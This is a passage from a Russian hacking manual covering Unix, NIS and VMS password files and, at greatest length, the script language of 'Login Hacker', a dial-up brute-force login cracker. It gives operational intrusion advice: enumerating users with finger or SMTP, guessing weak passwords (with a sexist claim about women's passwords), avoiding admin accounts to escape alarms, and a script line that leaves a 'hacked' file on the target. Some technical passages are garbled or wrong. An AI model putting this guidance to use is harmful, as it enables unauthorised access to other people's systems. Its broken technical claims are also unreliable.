     Файл  в  /usr/sbin/pppd  является  стандартным,  таким как  /dev/modem.
Например, /dev/cua1. Установка  опций для модема  проходит через команду  ln
-sf /dev/cua1 (для первого коммуникационного порта).
     Файл  паролей  лежит в  /etc/ppp/password.  Через  скрипт  хакер  может
изменить пароль так: `cat/etc/ppp/password`.
     Network Information System или древние желтые страницы UNIX
     UNIX NIS позволяет нескольким  компьютерам сети иметь различный уровень
доступа  к  конфигурационным файлами. Если атакуемая  версия UNIX использует
NIS, то хакер получит  файл  паролей /etc/passwd  с  очень короткой строкой,
типа вот этой:
     +::0:0:::
     Чтобы увидеть  действительный файл  паролей  хакер  использует  команду
ypcat passwd.
     Таинственный знак после запятой
     Этот знак  соответствует времени  хранения пароля.  Это  означает,  что
пароль в определенный  момент времени может быть заменен пользователем после
системного  администратора.  Пароль   перед  заменой  может  еще   храниться
некоторое время.  Типичная  запись /etc/passwd с  данными о времени хранения
пароля:
     bob:5fg63fhD3d,M.z8:9406:12:BobLeontyef:/home/fsg/will:/bin/bash
     Обратите внимание на запятую  в  области дешифровки пароля. Знак  после
запятой используется только механизмом хранения пароля.
     Таким образом, символы, соответствующие данным  времени хранения пароля
для вышеприведенного примера, будут такими:
     M.z8
     Эти четыре символа интерпретируются следующим образом:
     Максимальное  число недель, в  течение  которых пароль  не  может  быть
изменен.
     Минимальное   число   недель,   в   течение   которых   пароль   должен
использоваться перед заменой.
     Отметим  три важные вещи. Если первые и вторые символы  установлены как
"..", то пользователь будет вынужден изменить свой пароль в следующий раз. В
этом случае программа passwd удалит данные о хранении пароля.
     Если  третий и четвертый  символы установлены как "..", то пользователь
будет  вынужден изменить свой  пароль  в  следующий  раз.  Данные  о времени
хранения пароля будут соответствовать первым и вторым символам.
     Если  же  первый  символ  (MAX)  меньше  чем  второй  символ  (MIN), то
пользователю  вообще  не  позволяют изменить пароль (только  root может  его
изменить).
     Заметим,  что хакер  не может  командой su  изменить данные  о  времени
хранения пароля.
     Доступ к файлу паролей системы VMS
     В VMS файл паролей есть
     SYS$SYSTEM: SYSUAF.DAT
     Однако, в отличие от пользователей UNIX, большинство пользователей  VMS
не  имеет доступа даже к чтению этого файла. Хакер может взломать пароль VMS
только  через специальную программу, которая  использует функции  SYS$GETUAF
для сравнения результирующих  расшифрованных слов с расшифрованными словами,
полученными из данных SYSUAF.DAT. Две такие программы следующие:
     CHECK_PASSWORD и GUESS_PASSWORD.
     Взлом по методу Бивиса и Батт-Хэдда
     Это один из приемов  угадывания пароля. Хакер входит в сеть. Перед  ним
поля данных для  ввода логина и пароля. Что он делает? Оставляет  эту сеть в
покое. Он входит в эту же сеть по другому пути. Через  ту сеть,  к которой у
него  есть доступ. Он телнетится  с  определенного  адреса  IP  и  запускает
программу-взломщик,  которая  подбирает  (запускает на удаленном  компьютере
UNIX-программу login) пароль и логин, а  затем еще  и сама регистрируется за
него.
     Взлом систем через древний Login Hacker
     Эта большая и весьма гибкая программа предназначена  для взлома  многих
систем. Чтобы проникнуть в систему, вы можете использовать три прилагаемых к
программе файла-словаря, а также Brute Force Generator. Эта программа  также
может использоваться системными  администраторами для проверки их  систем на
вшивость.  Авторы  этой программы предостерегают вас: не  стоит пользоваться
этим  софтом в  преступных  целях, отвечать  перед  законом будете только вы
сами.  Но,  с  другой стороны, если вы напишите хороший  скрипт  (сценарий),
автор  этой  программы  надеется,  что  вы  пришлете  исходник  по   адресу:
vh@campus.de.
     Конечно, большинство систем находится под строгим наблюдением и  многие
терпят неудачу при попытках регистрации (срабатывает система защиты, тревога
и новичок получает путевку в не столь отдаленные места). Многие серверы бьют
тревогу  уже  после  десяти  неудачных  попыток  зарегистрироваться  и,  как
правило,  системный администратор  знает что делать дальше. Впрочем,  в Unix
имеются  некоторые  дыры,  позволяющие подбирать  пароль  и имя пользователя
практически без срабатывания системы защиты сервера, то  есть в конце-концов
вы входите в ситему. Для этого вам нужен отработанный в интерактивном режиме
скрипт и знание некоторых команд Unix.
     Эту   программу   вы   можете   эффективно   использовать    в   старых
телекоммуникационных системах, в  которых число  попыток  зарегистрироваться
неограничено.
     Для чего  нужен взлом?  Конечно,  для  того, чтобы  войти  в систему. С
другой стороны, автор этой программы запрещает пользоваться ей для получения
контроля  над всей  системой. Эта программа  предназначена прежде  всего для
тех, кто хочет получить  только  один  экаунт.  Если его зарубят,  вы можете
снова воспользоваться этой программой. Только для этого. Никакого криминала.
     Многие пароли подбираются легко. Это относится к паролям так называемых
средних  пользователей.  Подбирать пароль, соответствующий экаунту ситемного
администратора весьма-весьма чревато. Например, в Unix  при этом срабатывает
специальная система  защиты и  возникает  сообщение об  ошибке  (auth.crit):
CRITICAL. В системах NetWare  подобная  система начинает функционировать уже
после неудачных регистраций.  Помните, что практически все системы позволяют
регистрироваться в качестве системного администратора только с  той консоли,
которая  принадлежит  серверу   с  главной  системой.  Поэтому  никогда   не
взламывайте роотуров, системных администраторов, крутых  менеджеров и других
сетеподобных личностей.
     После того, как вы войдете в систему, последняя станет весьма уязвимой.
Попробуйте  получить текстовой файл с описанием модернизации  сервера, затем
узнайте, какие имеются  дырки. Если возникнут проблемы, попытайтесь получить
помощь у знакомого вам хакера.
     Каких пользователей можно легко взламывать? Как правило, пароли  женщин
подбираются легче (они обычно используют  гостевую систему регистрации), чем
пароли мужчин. Попробуйте узнать  настоящее имя  пользователя,  а уже  затем
подобрать  его   логин,  затем  любые  женские   имена,  слова  из   жаргона
футболистов, цифры 123, слова типа "secret" и т.д. В системах Unix для того,
чтобы узнать  логин пользователя, можно воспользоваться командой finger  или
через  команду  telnet  воткнуться  в  smtp-порт  и  получить  полные  имена
пользователей.
     Обычно,  когда  осуществлена  связь   с  запаролированной  системой  по
телефонной  линии,  выводится  приглашение  "PASSWORD:".  или  вообще  экран
оказывается пустым.
     Важно:  Достаточно  легко  взломать  так  называемые  Silent  Carriers.
Делается все посредством скрипта программы Login Hacker.
     Файлы программы
     LOGINH.EXE
     Программа Login Hacker.
     LH-COMP.EXE
     Компилятор для скриптов.
     X00.EXE
     Драйвер  Fossil.  Используйте  этот  драйвер  при выполнении программы.
Загружается драйвер так: X00.EXE E 2
     FILE_ID.DIZ
     Краткая информация о программе.
     HISTORY.DOC
     Библиография программы.
     LOGINH.DOC
     Документация.
     SCRIPT.DOC
     Документация по скриптам.
     RESULT.DOC
     Результат в виде кодов, полученный после выполнения Login Hacker.
     UPDATE.DOC
     Информация о том, как можно обновить программу.
     VH_BASE.DIC
     Основной словарь.
     LH&SCAVE.TXT
     Пример скрипта, который используются вместе с Scavenger Dialer.
     THC&SCAV.SCR SCAVENGER
     Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
     REBREAK.SCR
     Пример Scavenger-скрипта. Он нужен для скрипта LH&SCAVE.TXT.
     HANGUP.SCR
     Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
     PICKUP.SCR
     Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
     THC-LH_1.TXT
     Первый пример, показывающий применение языка скриптов.
     THC-LH_2.TXT
     Второй пример, показывающий применение языка скриптов.
     DEC-SERV.TXT
     Хорошо опробованный скрипт (автор: Tron).
     PASSCODE.TXT
     Другой скрипт (автор: Mind Maniac).
     THC.NFO
     Очень важно! Все, что касается известного сообщества.
     LORE.COM
     Исполняемый скрипт для LORE BBS (автор: Plasmoid).
     LOGINH.CFG
     Кофигурационный файл.
     LOGINH.LOG
     Созданный  конфигурационный   файл.   Если  конфигурационный  файл  уже
существует,  то все данные будут добавлены в его конец. Этот файл может быть
определен  в  соответствующем  скрипте или через  саму программу  в  Hacking
Setup.
     LOGINH.SCR
     Скрипт, созданный компилятором LH-COMP.EXE. Только такие  скрипты могут
быть загружены в Login Hacker.
     LOGINH.HCK
     Если произошло вынужденное прерывание программы, то создается этот файл
с  подобным  расширением.  Этот   файл   данных  указывает   на   установки,
соответствующие первоначальным  данным словаря  Brute  Force Generator. Если
снова произошел сбой, то программа выдаст сообщение с запросом  о том, нужно
ли  использовать данные из  этого файла.  Это  дает вам возможность прервать
сессию  и использовать  предыдущие данные  в новой атаке.  Помните, что этот
файл не является скриптом. Это файл регистрации. Если вы  записываете в этот
файл  данные, полученные от другой атаки, программа все  равно попросит  вас
использовать только данные предыдущей атаки.
     Команды и параметры
     Первая  и  самая  главная  команда  программы  Login  Hacker  со  всеми
возможными параметрами выглядит так:
     LOGINH.EXE [scriptfile]/[anything] [-Auto] [-Shh:mm] [Ehh:mm]
     [scriptfile]
     Автоматически  загружает скомпилированный  скрипт scriptfile  и ожидает
ввода ключа для загрузки.
     [anything]
     Если этот параметр  не есть существующий файл, то программа запускается
без демонстрационных сообщений.
     [-Auto]
     Этот параметр загружает скрипт без дополнительного ключа.
     [-Shh:mm]
     Начальное время, то есть пошла атака.
     [-Ehh:mm]
     Время, в течение которого происходило сканирование.
     [-T]
     Запуск  скрипта  в  режиме  проверки.  То есть скрипт не загружается  в
модем.
     [-D]
     Активизация режима  отладки. В  этом режиме  вы можете  выбрать,  какую
команду нужно выполнять дальше.
     Вторая,  не  менее  важная  команда  программы  Login Hacker  со  всеми
возможными параметрами выглядит так:
     LH-COMP.EXE [scriptfile]
     [scriptfile]
     Файл, который будет подвергнут процедуре компиляции.
     Использование Login Hacker
     Имеется пять опций, непосредственно влияющих на запуск программы:
     L
     Загрузка откомпилированного скрипта и начало атаки.
     S
     Настройка модема и других основных параметров программы.
     T
     Терминальный режим.
     I
     Некоторая информация.
     Q
     Выход.
     Экран в интерактивном режиме
     Речь  идет о том моменте, когда произошла загрузка и запустился скрипт.
Все, что  идет  из модема, выглядит на вашем  экране символами белого цвета.
Все,  что  записывается  в  файл   регистрации,  выглядит  на  вашем  экране
темно-синими  символами. Каждое  сообщение системы,  в  том  числе  CONNECT,
ALARM,  HANGUP и  ERROR должно отображаться синим цветом.  Все вышесказанное
справедливо лишь в том случае, если вы активизировали  опцию Print Logoutput
to Screen too.
     Горячие клавиши в режиме On-line
     ESC
     Пауза или выход из меню.
     F1
     Посказка.
     ALT-B
     Так называемая базовая клавиша. Позволяет спрятать экран.
     ALT-C
     Очистка экрана.
     ALT-D
     Включить или выключить режим отладки.
     ALT-H
     Вызвать меню HangUp.
     ALT-I
     Отобразить на экран статистику и другую дополнительную информацию.
     ALT-J
     Прыгнуть в DOS (не пользуйтесь этой командой в бета-версиях).
     ALT-L
     Особое меню регистрации.
     ALT-T
     Загрузить  терминальный режим.  В этом режиме  экран  зависает, система
находится   под   вашим   контролем.  Вы  можете  произвести   идентификацию
посредством любой  из  вышеописанных клавиш  (кроме  ESC).  Чтобы  выйти  из
терминального режима, нажмите ALT-T или ALT-X.
     Описание языка скриптов
     Скрипты -- это изюминка Login Hacker. Поэтому, если вы научитесь писать
хорошие скрипты, то сможете взломать практически любую систему.  Конечно это
не относится к новичкам  или тем хакерам, которые никогда не программировали
даже на Бэйсике.
     Скрипт  должен  пройти  через  компилятор,  который  проверяет  его  на
вшивость.  Поэтому вы можете  быть уверены на 99%, что в  процессе атаки  не
произойдет сбоя по вине плохого скрипта.
     Итак, поехали.
     Все,  что  начинается с  точки  с  запятой  --  комментарии.  Все,  что
начинается с двоеточия -- переход на следующую команду.
     Четыре строки, начинающиеся с символа # определяют операторы, с которых
начинается специальная часть скрипта.
     Оператор #DEFINE определяет переменную.
     Оператор #NOCARRIER осуществляет автоматический  возврат  в программу в
случае аварийного прерывания сессии, то есть без команды hangup.
     Оператор #START активизирует загрузку скрипта.
     Оператор #END заканчивает выполнение скрипта.
     Все   переменные   являются  необязательными.   Исключение   составляют
переменные  logfile  и   phone_nr.  Вы   не  можете  определять   какие-либо
переменные, за исключением тех, которые описаны ниже.
     LOGFILE=FILENAME
     Определить  файл  регистрации и место  на  диске  для этого  файла. Это
важная переменная используется при написании любого скрипта.
     Например:
     LOGFILE=C:\OUTPUT\NY-SYS5.LOG
     PHONE_NR=NUMBER
     Эта  переменная  используется  вместе  с командой DIAL. Ее  тело  может
состоять как из цифр, так и из  букв.  Это вторая переменная, которую всегда
используют при написании скриптов.
     Например:
     PHONE_NR=1-800-WHO-CARES
     INIT_MODEM=STRING
     Если ваш  модем должен работать  в режиме Pulse Dialing,  то  поместите
перед   телефонным  номером  аргумент  P.  Если  же   ваш   модем  не  может
инициализировать   строковые   данные,   поместите   перед   соответствующим
телефонным номером команду AT (если эта команда отстствует в Hacker Setup).
     Например:
     INIT_MODEM=Z
     (здесь также может стоять аргумент AT Z)
     INIT_DATA=STRING
     Инициализация  каналов передачи  данных,  в том числе стоповых битов  и
битов четности. Переменная  используется в  том случае, если соответствующие
параметры  отсутствуют  в Hacker  Setup.  В  общем случае  аргументами  этой
переменной  являются  наборы  символов  8N1 и  7E1, то есть  аргумент всегда
должен  состоять из  трех символов.  Первый  символ --  это цифры 7  или  8,
являющиеся битами данных. Второй символ  может быть записан как  P (контроль
по нечетности), E  (контроль по  четности)  или  N  (не  контролировать биты
данных). Третий символ соответствует ситуации, когда на первый стартовый бит
налагается первый стоповый бит:
     7/8+E/P/N+1/2.
     DIAL_TRIES=NUMBER
     Эта переменная определяет количество  попыток набора номера в диапазоне
от  0 до 65535. Ноль  соответствует  бесконечному набору номера.  Если номер
набран, загружается HANGUP и остальная часть скрипта.
     Например:
     DIAL_TRIES=3
     Standard : 0
     Важно: Если эта переменная отсутствует в скрипте, то будут использованы
установки, соответствующие файлу LOGINH.CFG.
     LOGIN_TRIES=NUMBER
     Эта  переменная  определяет   количество  попыток  входа  в  систему  в
диапазоне  от  0 до  2300000000. Ноль  соответствует неограниченной  попытке
зарегестрироваться.  Если  в  файле словаря будет  достигнут так  называемый
конец кадра  (EOF),  то  скрипт  автоматически повесит  трубку  и  прекратит
сессию.   Время,   в   течение   которого   будет    осуществляться   подбор
регистрационных  данных зависит  от команд  прицепки SEND_NEXT_DIC, NEXT_DIC
или им аналогичных для словаря Brute Force Generator.
     Например:
     LOGIN_TRIES=0
     Standard: 0
     Важно:  Если эта  переменная  отсутствует  в скрипте,  то в атаке будут
использованы установки, соответствующие файлу LOGINH.CFG.
     DIC(NUMBER)=FILENAME
     Определить словарь, который будет использован соответствующим скриптом.
Аргумент DIC указывает на существующие файлы словарей. Вы можете прицепить к
скрипту  от   одного  до  трех  словарей.  Используйте  для  этого   команды
Send_Next_DIC (1), Send_DIC (1) и Next_DIC (1).
     Например:
     DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
     FROM_DIC(NUMBER)=STRING
     Определить  слово,  начиная  с которого  можно  использовать словарь  в
скрипте.
     Например: FROM_DIC(1)=Tracy
     BRUTE(NUMBER)=STRING,NUMBER,NUMBER,NUMBER
     Определить словарь Brute Force Generator для  использования в  скрипте.
Brute Force  Generator весьма гибок.  Четыре  параметра словаря  Brute Force
Generator  разделены запятой. Ниже описывается приемлемая спецификация  этих
параметров.
     1
     a=буквы нижнего регистра.
     A=буквы верхнего регистра.
     1=цифры.
     $=спецсимволы.
     ^=так называемые контролируемые символы.
     Любые синонимы ASCII.
     2
     Этот параметр сообщает  скрипту, какое  количество различных  символов,
соответствующих параметру 1 необходимо этому скрипту.
     Каждое  сгенерированное  слово,  соответствующее  параметру   1  всегда
имеется в  таком  же  слове,  соответствующим параметру 2.  Символ  верхнего
регистра и один номер допустимы. Величина, соответствующая нулю неприемлема.
     3
     Сообщает  скрипту  возможную  минимальную  длину  для  символов пароля,
подобранного при использовании словаря Brute Force Generator.
     4
     Возможная  максимальная  длина  для  символов  пароля, подобранного при
использовании словаря Brute Force Generator.
     Важно: Минимальная длина символов равна  1, максимальная  соответствует
12.
     Помните, что  вы можете  использовать  в атаке  до трех  словарей Brute
Force  Generator.  Используйте  для  этого  великолепные   команды  привязки
Next_Brute(1), Send_Next_Brute(1) и Send_Brute(1).
     Например:
     BRUTE(1)=a,1,1,6
     В  этом примере используется первый параметр Brute Force  Generator  со
следующими данными: проверять только символы нижнего регистра; предположить,
что  при  подборе пароля в словаре присутствует хотя бы  один действительный
символ; минимальная длина регистрационного слова равна единице, максимальная
-- шести.
     FROM_BRUTE(number)=STRING
     Начать инициализацию со словарем Brute Force Generator. При этом  важно
следующее:  если   инициализация  началась   с   четвертой   буквы,   а   вы
просматриваете  диапазон от 1  до 8  буквы,  то  диапазон  от  1 до  3 будет
игнорироваться,  то  есть сначала идет подбор aaaa, затем aaab, затем aaac и
т.д.
     Например:
     FROM_BRUTE(1)=2527
     Секция #NOCARRIER
     Это  будет  выполняться  всякий  раз, когда  вы  не используете команду
HANGUP. Если в скрипте отсутствуют операторы GOTO  (*START) или GOTO (1), то
дальше  он выполняться  не будет. Это означает, что  вы снова должны набрать
модемный номер доступа к системе. Поэтому проверьте установки в DIAL_TRIES.
     Секция #START
     В этой важной секции описываются операторы, которые в  дальнейшем будут
ломать систему.
     LOG(STRING)
     Команда LOG() записывает в  файл регистрации некоторую информацию.  Это
может быть любой текст, переменные, перед которыми всегда должен стоять знак
$ (знак доллара),  а  также пробелы  между  словами.  В конец строки  каждая
команда LOG() автоматически печатает возврат каретки.
     Примеры:
     LOG(Beginning on $DATE * $TIME)
     Будет выведено следующее:
     "Beginning on 24-12-96 * 23:00"
     LOG_(STRING)
     Этот пример аналогичен вышеприведенному, за исключением того, что после
текста отсутствует CRLF (End-Of-Line).
     :NUMBER
     Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO.
Вы можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера
неприемлемы.  Переход  к нужному  маркеру осуществляется командами  передачи
управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER.
     Например: :1
     В  этом примере на соответствующую строку выполняется переход к точке с
номером 1.
     GOTO(NUMBER)
     Передать управление на маркировку перехода. Вы можете также осуществить
переход командами #START, #NOCARRIER и #END.
     Например: GOTO(#END) (выполнение скрипта завершено).
     GOSUB(NUMBER)
     С  командой  подстановки  GOSUB вы  осуществляете  переход  к следующей
маркировке. Команда  GOSUB, как правило  исполняется уже  после перехода  на
следующий  маркер,  то  есть в  тот момент, когда  команды  GOSUB  и  RETURN
столкнутся между собой. Обратите внимание, что вот такая команда невозможна:
GOSUB(#END).
     Например: GOSUB(4)
     RETURN
     Это  так  называемая  команда  выхода из  подпрограммы.  Используя  эту
команду,  вы можете  возвратиться  к  местоположению  последней  выполненной
команды  GOSUB  и продолжить  обычное  выполнение скрипта.  Если  в буферном
регистре  команда  RETURN  сталкивается  с  несуществующим начальным адресом
GOSUB,  то  она  будет  игнорироваться. В  одном буферном регистре вы можете
иметь до 255 подстановок GOSUB.
     Например: RETURN
     CHECK4CARRIER(NUMBER)
     Проверка модема  на соединение с  линией, то есть  проверка на  несущую
частототу.  Команда  будет  выполняться  в  случае   отсутствия  перехода  к
указанной маркировке  (переход  соответствует команде  GOTO).  Если  переход
обнаружен, то устанавливается  внутреннее соединение с переменной  TRUE  для
проверки  на NO_CARRIERS. Вы можете также осуществлять  процедуры перехода к
*NOCARRIER, *START и *END. Также возможно осуществить проверку модема только
на  ON  или  OFF. Если  команда  CHECK4CARRIER(ON) выполнена  с  переходом к
маркеру,  отмечающему  обнаружение  линии,  и,  если   представлен  NOT,  то
управление  передается  на  *NoCarrier. Эта  команда  полезна только  в  том
случае, когда вы оказываетесь на CHECK4CARRIER(OFF) и не хотите использовать
команду  DIAL,  чтобы  соединиться  с удаленной системой (позвольте  набрать
номер SCAVENGER DIALER).
     Примеры:
     CHECK4CARRIER(#NOCARRIER)
     CHECK4CARRIER(5)
     CHECK4CARRIER(ON)
     CHECK4CARRIER(OFF)
     CHECK4OUTPUT(NUMBER)
     Это будет выполнено подобно нижеописанной функции  ALARM: Если выходной
сигнал  (OUTPUT)  модема   обнаружен,   то  переходы  будут   осуществляться
непосредственно к указанной маркировке. Вы можете также  передать управление
к  *NOCARRIER,  *START и  *END. Также возможно отключить проверку на OFF, то
есть заблокировать указанную проверку выходного сигнала.
     Например:
     CHECK4CARRIER(#NOCARRIER)
     CHECK4CARRIER(5)
     CHECK4CARRIER(OFF)
     DIAL
     Набор  номера PHONE_NR.  Если  с  системой нет соединения, то сначала в
модем будет послана команда: "Повесить трубку!".
     Например: DIAL
     HANGUP
     Поднять и опустить трубку.
     Например: HANGUP
     WAIT4STRING(NUMBER,STRING,NUMBER,
     COMMAND,STRING)
     В представленном здесь языке скриптов это  самая важная  команда. После
ее выполнения выходной  сигнал модема будет находиться в состоянии ожидания.
В этот  момент должна начаться загрузка  специального  слова. Если  стыковка
осуществлена, то скрипт продолжается, если -- нет, то после таймаута в модем
будет  отправлена заданная последовательность,  затем  --  вновь  таймаут и,
наконец, идет выполнение команды.
     Важно:   Сначала  команда   WAIT4STRING  проверяет   текущую  строку  с
представленным словом. Синтаксис: WAIT4STRING(a,b,c,d,e).
     a
     Определить  таймаут  в диапазоне от 0 до 255 секунд. Ноль соответствует
неограниченному ожиданию,  то  есть ждать до  тех пор  пока  не наступит так
называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае,
если данные не  поступают из  модема в  течение пяти  минут). Если ничего не
получено, то  последовательность в потоке данных  распознается снова,  или в
какой-то момент несущая частота объявляется потерянной.
     b
     Последовательность   данных,  которая   будет  послана  в  модем  после
таймаута.
     c
     Частота отказов или количество общего времени, в течение которого может
выполняться  фатальная команда.  Диапазон: от 0 до 255  (0=никогда, 1=первый
раз).
     d
     Выполнение специальной фатальной команды. Это могут быть любые команды,
исключая: ALARM, WAIT4STRING и IF.
     e
     Последовательность  данных   для   ожидания.  Данные  чувствительны   к
регистру.
     Например: WAIT4STRING(15,^M,2,GOTO(1),ogin:)
     В этом  примере происходит ожидание последовательности ogin: в  течение
15 секунд. Если стыковка не получилась, а каретка возвращается в модем (^M),
то  команда снова  ждет  15  секунд,  пока  вновь  не  наладится  стыковка с
последовательностью данных ogin:.
     Как только истекут следующие 15  секунд, вызывается фатальная  команда,
что означает переход к GOTO с меткой под номером 1.
     LOG_SESSION_ON
     Начиная с этого пункта, все данные поступающие из модема записываются в
файл регистрации.
     Например: LOG_SESSION_ON
     LOG_SESSION_OFF
     Если содержимое экрана  записано в файл регистрации, то к  этому пункту
больше не будет обращений.
     Например: LOG_SESSION_OFF
     SEND(STRING)
     Команда  SEND  передает последовательность данных в  модем.  Через  эту
команду вы  можете пересылать  в  модем  переменные  со знаком  $.  В  конец
последовательности  передается  возврат  каретки.   Если  последовательность
данных не задана, то сразу осуществляется переход на возврат каретки.
     Например:
     SEND(echo Hacked you system Time: $TIME - Date:
     $DATE > HACKED.TXT)
     В данном примере команда SEND посылает в модем следующую строку:
     echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT
     SEND_()
     Эта команда аналогична вышеописанной, но она не посылает в модем символ
возврата каретки ^M. Ее можно использовать, если вам нужно загрузить в модем
только один символ или командный режим +++.
     Примеры:
     SEND_(n)
     SEND_(+++)
     SEND_NEXT_DIC(NUMBER)
     Например: SEND_NEXT_DIC(1)
     SEND_DIC(NUMBER)
     Переслать текущий словарь в модем.
     Например: SEND_DIC(1)
     NEXT_DIC(NUMBER)
     Переместиться на слово, соответствующее аргументу NUMBER.
     Например: NEXT_DIC(1)
     SEND_NEXT_BRUTE(NUMBER)
     Используя Brute  Force  Generator,  сгенерировать  следующую допустимую
последовательность и переслать ее в модем.
     Например: SEND_NEXT_BRUTE(1)
     SEND_BRUTE(NUMBER)
     Переслать  в  модем  текущую  последовательность  допустимых  данных из
словаря Brute Force Generator.
     Например: SEND_BRUTE(1)
     NEXT_BRUTE(NUMBER)
     Сгенерировать следующую допустимую последовательность данных из словаря
Brute Force Generator.
     Например: NEXT_BRUTE(1)
     IF VARIABLE OPERATOR STRING THEN COMMAND
     Команда IF первой версии этой программы не очень гибкая. Синтаксис этой
команды следующий:
     IF  THEN 
     
     
     Означает  равносильность  при   аргументе  =,  больше  или  меньше  при
аргументах   <  или  >   соответственно   и   переменную  содержащую   любую
последовательность слов  при аргументе  ~.  Переменные  и последовательности
должны быть дискретными переменными.
     
     Эта команда выполнится в том случае, если будет соблюдено условие TRUE.
Чтобы ее использовать, просмотрите список команд для оператора WAIT4STRING.
     Например:
     IF STRING~ogin THEN GOTO(3)
     То  есть,   если  текущая  строка   (STRING)  содержит  дискретную  (~)
последовательность данных ogin, то идти (GOTO) к маркеру с номером 3.
     EXECUTE(STRING)
     Выполнить DOS-программу, а  затем запустить скрипт.  Вы должны включить
переменные  в выполняему строку. Вы также  должны  выполнить соответствующие
внутренние команды MS DOS. Помните, что перед переменной может стоять знак $
с возможными пробелами позади и впереди самого знака.
     Важно: Если вы хотите  запустить программу в то время, когда  по вашему
скрипту осуществлено соединение, то вы должны использовать драйвер fossil. В
противном случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед
выполнением программы Login Hacker.
     Важно:  Чтобы  ваша   программа  не  была   повреждена,  предварительно
сохраните ее в каталоге отличном от исходного.
     Примеры:
     EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC)
     EXECUTE(COPY $LOGFILE C:\HACKED)
     ALARM(STRING,COMMAND)
     Опасно!  Нажимать  на  спусковой крючок!  Если на удаленном  компьютере
сработала  система  защиты,  то  вы  будете  активны до  тех  пор,  пока  не
выполнится эта команда.
     STRING
     Последовательность,  для  которой  осуществляется  поиск  данных  с  их
последующей передачей в модем.
     COMMAND
     Эта команда будет  выполнена  после  стыковки.  Чтобы ее  использовать,
просмотрите листинг  команд для  WAIT4STRING.  Примените эту команду  в  том
случае, например, если вы взломали BBS, а сисоп вас раскусил и задает глупые
вопросы.   После  этой  команды   вы  автоматически  прервете  соединение  и
остановите выполнение скрипта.
     Например:
     ALARM(chat,GOTO(#END))
     SET VARIABLE=STRING
     Этой командой вы определяете переменную в секции #START или #NOCARRIER.
Если переменная является статической переменной, то вы  должны это отметить.
Вы должны  устанавливать только  следующие  переменные: STRING,  DIAL_TRIED,
LOGIN_TRIED, S_TMP и D_TMP.
     Например:
     SET D_TMP=3
     Определить статическую переменную D_TMP в качестве 3.
     INC(DIGIT_VARIABLE)
     Увеличить число указанной переменной на 1. Эта команда будет  выполнена
лишь в том случае, если переменная после дополнения не находится в указанном
диапазоне.
     Имеют  силу  следующие  команды: DIAL_TRIES,  DIAL_TRIED,  LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
     Например: INC(D_TMP)
     DEC(DIGIT_VARIABLE)
     Уменьшить чило указанной переменной  на  1. Эта команда будет выполнена
лишь в том случае, если переменная после  вычитания не будет  находиться вне
указанного диапазона.
     Имеют  силу  следующие  команды:  DIAL_TRIES,  DIAL_TRIED, LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
     Например:
     DEC(D_TMP)
     WAIT(NUMBER)
     Ожидать до тех пор, пока идут секунды, определенные  аргументом NUMBER.
Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535.
     Например: WAIT(10) (десять секунд)
     WAIT_(NUMBER)
     Ожидать  до тех пор, пока идут  миллисекунды,  определенные  аргументом
NUMBER.  Аргумент  NUMBER  соответствует любому  числу в  диапазоне  от 1 до
65535.
     Например: WAIT(500) (полсекунды)
     BEEP
     Создает сигнал, похожий на легкий звук бибикалки!
     Переменные и управляющие символы
     Речь идет о  переменных,  которые могут быть  использованы  в  командах
SEND()  или LOG(). Как уже отмечалось, закачка переменных  в модем  или файл
регистрации   определяется   символом  $   (доллара),   поставленным   перед
соответствующей  переменной,  и  пробелами. Вы  можете использовать  #DEFINE
любые специфические переменные. Вам их нужно только определить.
     STRING
     Символы пересылаются из модема в последнюю строку.
     STRING2
     Последние 250 символов отправляются из модема.
     DIAL_TRIED
     Фактические попытки набора номера.
     LOGIN_TRIED
     Фактические попытки получить имя и пароль.
     TIME
     Действительное  время  в  часах  и  минутах  (двоеточие  пропускается).
Например, TIME=1505 означает 15:05.
     DATE
     Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая.
     DIC(1)
     Текущий загруженный словарь 1.
     BRUTE(2)
     Текущая строка словаря Brute Force Generator 2.
     S_TMP
     Переменная строка. Вы можете ее использовать, как вам нравится.
     D_TMP
     Переменная для цифр. Вы можете ее использовать, как вам нравится.
     В командах IF и  SET вы можете использовать исключительно вышеописанные
переменные. Переменные из #DEFINE исключаются. Только статические переменные
и  константы  приемлемы для  IF!  Не нужно также использовать  знак  $ перед
переменной. Этот знак допустим только в командах SEND, LOG и WAIT4STRING.
     Например:
     IF TIME>1215 THEN GOTO #END
     (отсоединиться после 12:15).
     LOG($DIC(3))
     SEND($S_TMP)
     Теперь   относительно   спецсимволов.   Вы   можете  записывать   любые
управляющие символы вместе с командами LOG, SEND или WAIT4STRING  через знак
^  (шапочка). Это  означает, что вы можете ввести, например, ^M или написать
^^ ... окей?, или использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и
^^.
     Например:
     SEND_(^D)
     #DEFINE
     <определения>
     #NOCARRIER
     <некоторые команды>
     #START
     <ваш алгоритм>
     #END
     Сообщения об ошибках
     Если  в  процессе  компиляции  вы  получаете  сообщение  об ошибке,  то
помните, что  в  вашем  распоряжении имеется файл .BAK. Просмотрите  и
внимательно изучите содержимое этого файла.
     При  компилировании  скрипта  может  всплыть  только  два сообщения  об
ошибке:
     WARNING
     Вы  что-то  не так скомпилировали. Компилятор  в  любом случае  создаст
скрипт,  который  может  запуститься  без  всяких  проблем.  Это  сообщение,
например,  может  быть  выдано,  если  невозможно  найти указанный  словарь.
Возможно, что вы не полностью подготовили копию.
     ERROR
     Это   критическая  ошибка.   В   какой-то  момент  компилятор   прервал
необходимую процедуру завершения. Для исправления этой ошибки проверьте файл
с расширением .BAK и ваш исходный файл.
     Пример стандартного скрипта
     #DEFINE
     PHONE_NR=,
     LOGFILE=lh&scave.log
     DIC(1)=d:\project\hack\word\badpws.dic
     ; задайте корректный путь к вашему словарю
